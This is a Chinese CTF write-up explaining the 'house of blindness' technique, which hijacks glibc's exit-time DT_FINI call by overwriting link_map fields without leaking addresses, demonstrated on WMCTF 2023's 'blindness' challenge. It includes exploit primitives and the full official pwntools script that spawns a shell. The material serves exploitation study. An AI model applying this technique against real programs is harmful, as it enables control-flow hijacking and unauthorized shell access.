在WMCTF 2023官方wp中,看到了一个十分新奇的手法house of blindness. 其无需leak地址却仍然能够hijack程序流,这里做以学习研究。本文例题使用WMCTF2023 blindness

参考文章: issues in exit town - HackMD

前置

首先补充一个关于malloc的前置知识

  • 如果申请的chunk大小非常大,那么便不会使用ptmalloc来进行chunk的分配,而是调用mmap()
  • 另外,这样申请出来的chunk位置与libc和ld的偏移保持一致

如图,我们申请出来的chunk位置如下

image-20230907163127358

可以看到,其地址与libc和ld连在一起

exit

首先我们需要关注一下.dynamic节

在gdb中我们可以使用dyn命令查看.dynamic节内容。其中的内容氛围两个部分,一个是tag用于表示名称,一个是value.

image-20230907142037610

这个结构由于是静态的,所以同样可以在IDA中看到

image-20230907142646702

其中我们需要关注下DT_FINI这个tag,也就是gdb中显示的FINI,其代表了fini函数到程序加载的虚拟地址的offset,即real_fini_addr = code_base + DT_FINI,以本题为例我们可以得到

image-20230907143044385

exit()函数的源码中,我们可以看到如下部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/* Is there a destructor function?  */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| l->l_info[DT_FINI] != NULL)
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
/* Next try the old-style destructor. */
if (l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI
(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}

其中最下方的DL_CALL_DT_FINI(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);便是调用_fini函数的部分,宏定义如下

1
# define DL_CALL_DT_FINI(map, start) ((fini_t) (start)) ()

l_addrl_info[DT_FINI]正对应这我们前面谈到的codebase和.dynamic节上的偏移,l为在ld中存放的link_map结构

以本题为例,我们用gdb跟踪exit流。可以发现,在调用完__do_global_dtors_aux之后,程序流便会通过r15,来调用fini,如图

image-20230907154901922

image-20230907154040648

其中mov rax,QWORD PTR [r15+0xa8] ,就是对应l_info[DT_FINI],即指向.dynmic中DT_FINI条目的指针

image-20230907154606194

add rax,QWORD PTR [r15],对应l_addr,也就是codebase

house of blindness

明白了调用fini的原理后,how do we exploit this?

可以想象,如果我们能够更改link_map的内容,比如存放codebase和指向DT_FINI条目的指针。那么在调用fini时,我们就可以控制两者之和为system这样的函数,从而拿到shell(这里我们先不考虑rdi参数如何控制)。这也是所谓house of blindness的核心思想,不过我们还是来看看完整的流程。

首先考虑,若我们想让两者之和为system这样的libc函数,那么一定要是一个libc的地址+一个偏移的形式,因而原有的codebase+offset的形式是不满足要求的。由于我们没有leak的能力,在不考虑爆破的情况下只能覆盖写最低字节,显然无法让一个text段地址调整至libc。

原作者给出的解法是利用DT_DEBUG条目。DT_DEBUG中存放了指向_r_debug函数的指针,且_r_debug是一个ld部分的地址,则我们只需要需要将l_addr劫持为_r_debugsystem函数的差,l_info[DT_FINI]劫持为DT_DEBUG条目,就可以执行system。

image-20230907160909407

此时rdi参数恰好也是ld中的一个指针,另外还需要劫持fini_array为空,防止由于指针更改出现crash

原作者给出了exp的大致形式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# disable fini array from exec
write(ld.address + link_map + l_info + 8 * DT_FINI_ARRAY, p64(0))

# overwrite l_info[DT_FINI]'s lsb so that it points to _r_debug
write(ld.address + link_map + l_info + 8 * DT_FINI, b"\xb8")

# overwrite l_addr with offset to bring _r_debug to system
write(
ld.address + link_map,
p64(libc.symbols["system"] - ld.symbols["_r_debug"], signed=True),
)

# fill _dl_load_lock with /bin/sh
write(ld.symbols["_rtld_global"] + _dl_load_lock, b"/bin/sh\x00")

总结一下利用条件:

  • malloc的size不限制大小,比如可以malloc(0x100000)
  • 可以在malloc出的chunk附近实现越界的任意写

作者给出的利用条件的形式如下

1
2
3
4
// get size from user
char *chunk = malloc(size);
// get idx and byte from the user
chunk[idx] = byte;

WMCTF blindness

WMCTF的这道例题也使用了类似的思想,不过手法并不完全相同,并非利用DT_DEBUG. 我们可以再看一眼本题的.dynamic标签的地址分布

image-20230907142646702

可以注意到DT_FINI的地址为0x3DB8,DT_DEBUG的地址为0x3E58,即如果我们考虑原作者的思路。则需要覆盖2个byte,即仍需1/16的爆破。但是我们注意到,本题是存在后门backdoor的,那么我们可以控制l_info[DT_FINI]为一个text段的函数,然后利用l_addr偏移至后门即可。可以看到.dynamic上面的一个标签__frame_dummy_init_array_entry

image-20230907173436438

且恰好后门函数和该函数只有0x9的偏移,如图。那么我们就可以覆盖l_info[DT_FINI]的最低字节从0xB8到0x80,然后控制l_addr偏移为9,从而执行后门函数.

image-20230907173108919

官方exp如下,估计出题人套了自己的板子,因而注释与代码并不匹配,这里并非利用DT_DEBUG。且劫持参数为/bin/sh也是无必要的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
from ctypes import *
#context.log_level = 'debug'
def write(addr,content):
content = list(content)
payload = "@" + p32(addr)
for i in range(len(content)):
payload += '.' + p8(ord(content[i]))
payload += '>'
return payload
def exp():
p.recv()
p.send(str(0x100000))
p.recv()
p.send(str(0x100))
p.recv()
payload = write(0x33f958 - 0x1c000,"/bin/sh;") #劫持参数
payload += write(0x340180-0x33f958-0x8,p64(0x9)) #将l_addr改为DT_DEBUg和system函数的差值
payload += write(0x340228-0x340180-0x8,p8(0x88-0x8)) #劫持DT_FINI指向DT_DEBUG
payload += write(0x340290-0x340228 - 0x1,p64(0)) #使得DT_FINI_ARRAY为NULL
payload += 'q'
p.send(payload)
p.interactive()
if __name__ == "__main__":
binary = './main'
elf = ELF('./main')
context.binary = binary
if(len(sys.argv) == 3):
p = remote(sys.argv[1],sys.argv[2])
else:
p = process(binary)
exp()